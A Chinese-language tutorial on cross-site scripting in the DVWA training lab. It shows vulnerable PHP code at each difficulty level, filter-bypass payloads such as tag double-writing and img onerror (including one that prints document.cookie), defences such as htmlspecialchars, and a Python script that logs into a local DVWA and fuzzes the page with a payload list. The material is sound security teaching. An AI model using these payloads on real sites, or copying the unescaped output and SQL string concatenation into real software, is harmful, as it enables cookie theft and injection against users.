介绍
XSS,全称 cross Site scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页而中注入恶意的脚本代码。当受害者访问该页而时,恶意代码会在其浏览器上执行,需要强调的是,XSS不仅仅限子 Javascript,还括flash等其它脚本语言。根据恶意代码是否存在服务器中,XSS可以分为存储型的XSS与反射型的XSS.
DOM型的XSS由于其特殊性,常常被分为第三种,这是一种基于DOM树的XSS。例如服务器端经下用 document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。DOM型XSS可能是存储型,也有可能是反射型。
反射型
攻击者在URL中插入XSS代码,服务端将URL中的XSS代码输出到页面上,攻击者将带有XSS代码的URL发送给用户,用户打开后受到XSS攻击。
最多的是在搜索里面。
</titile>
闭合标签,之后加上xss代码。修复方法strip_tags
payload直接被url,从后端输入到前端页面上。
- Low
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
<script>alert()</script>
- Medium
使用了字符串替换,将<script>
替换为空。str_replace( '<script>', ''
可以双写绕过,或大小写绕过(因为str_replace大小写不敏感)。
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
<Script>alert()</Script>
<scr<script>ipt>alert(1)</script>
- High
采用正则表达,过滤了所有的大小写s,c,r,i,p,t。
需要借助其他标签进行XSS的探测利用。
img标签,指定一个不存在的资源。
<img src='1' onerror=alert(/xss/)>
这个不存在的图片地址为http://localhost/DVWA/vulnerabilities/xss_r/1
。
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
- Impossible
先check token
然后使用htmlspecialchars函数把预定义的字符&,",’,<,>转换为HTML实体,防止浏览器将其作为HTML元素。
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
反射XSS防御
1.过滤用户输入
2.使用 htmlspecialchars()过滤
3.使用 owasp等安全xss处理API
存储型XSS
存储型XSS是保存到数据库当中,具有持久性的效果。
- Low
没有过滤机制。
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
//通过query的insert存储到数据库中,再次访问时就能获得内容。
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
- Medium
message使用了htmlspecialchars,无法绕过,name可以通过重写,大小写绕过。前端如果限制了输入空间大小,可以自己修改。
显示
$message = htmlspecialchars( $message );
$name = str_replace( '<script>', '', $name );
- High
此处High和反射性XSS一样,通过<img src='1' onerror="alert()"/>
Dom XSS
是通过document.write将文本信息写入到数据库中。
遇到str_resplace对<script>
的过滤,采用img代替。记得先闭合option和select。
</option>< /select><img src="1" onerror="alert(123)”/>
High级别:
使用了白名单过滤。可以正常提交一个French。把脚本代码注释起来。#<script>alert(/xss/)</script>
。完整payloadFrench # <script>alert(/xss/)</script>
Python
XSS是发生在客户端的漏洞,当用户提交一个XSS payload时,服务器接收到相关请求。如果处理不严谨,那么提交的XSS payload就会在浏览器当中进行显示。并且输出内容,如果payload是个js,也即javascript代码,那么这个代码就会被执行了。
python XSS检测代码:
如需使用,只需修改自己主机上Dvwa的url和headers内的referer。
import requests
import urllib
import re
import time
import threading
from bs4 import BeautifulSoup
import io
#通过argc,argv获得url
def get_cookie_token(url_start):
headers={'Host':'127.0.0.1',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Connection':'keep-alive',
'Upgrade-Insecure-Requests':'1'}
res=requests.get(url_start,headers=headers)
cookies=res.cookies
print(type(cookies))
html=res.text
soup=BeautifulSoup(html,"html.parser")
s=soup.find('input',type='hidden').get('value')
#token=soup.form.contents[3]['value']
cook=cookies.items()
cook[1]=('security','low')
a=[(';'.join(['='.join(item)for item in cook]))]
a.append(s)
#s=re.findall('<input type=\'hidden\'name=\'user_token\' value=\'(.*?)\'',html)
return a;
def Sign_in(url_start):
headers={
'Referer':'http://localhost/DVWA/login.php',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Connection':'keep-alive',
'Content-Length':'88',
'Content-Type':'application/x-www-form-urlencoded',
'Upgrade-Insecure-Requests':'1',
'Cookie':a[0]}
values={
'username':'admin',
'password':'password',
'Login':'Login',
'user_token':a[1]
}
datas=urllib.urlencode(values)
response=requests.post(url_start,data=datas,headers=headers)
if __name__ == '__main__':
url="http://localhost/DVWA/login.php"
a=get_cookie_token(url)
Sign_in(url)
headers={'Host':'127.0.0.1',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Connection':'keep-alive',
'Upgrade-Insecure-Requests':'1',
'Cookie':a[0],
'Referer':'http://localhost/DVWA/vulnerabilities/xss_r/'
}
url="http://localhost/DVWA/vulnerabilities/xss_r/"
with io.open('xss_payloads.txt','r',encoding='utf-8') as f:
payload_list=f.readlines()
for payload in payload_list:
payload=payload.strip()
params={'name':payload,
'user_token':a[1]
}
#拓展
#post提交的存在xss
#cookie提交的存在xss
res=requests.get(url,params=params,headers=headers)
#在返回界面中找不到嵌入的payload则说明没有xss漏洞
if res.text.find(payload)!=-1:
print('[+]xss found:{}+{}'.format(url,payload))
#保存url及其对应的payload
else:
print('[-]no xss')
I春期课程
代码高亮说明被解析。
<img scr='x' onerror=alert(document.cookie)>
打出cookie值。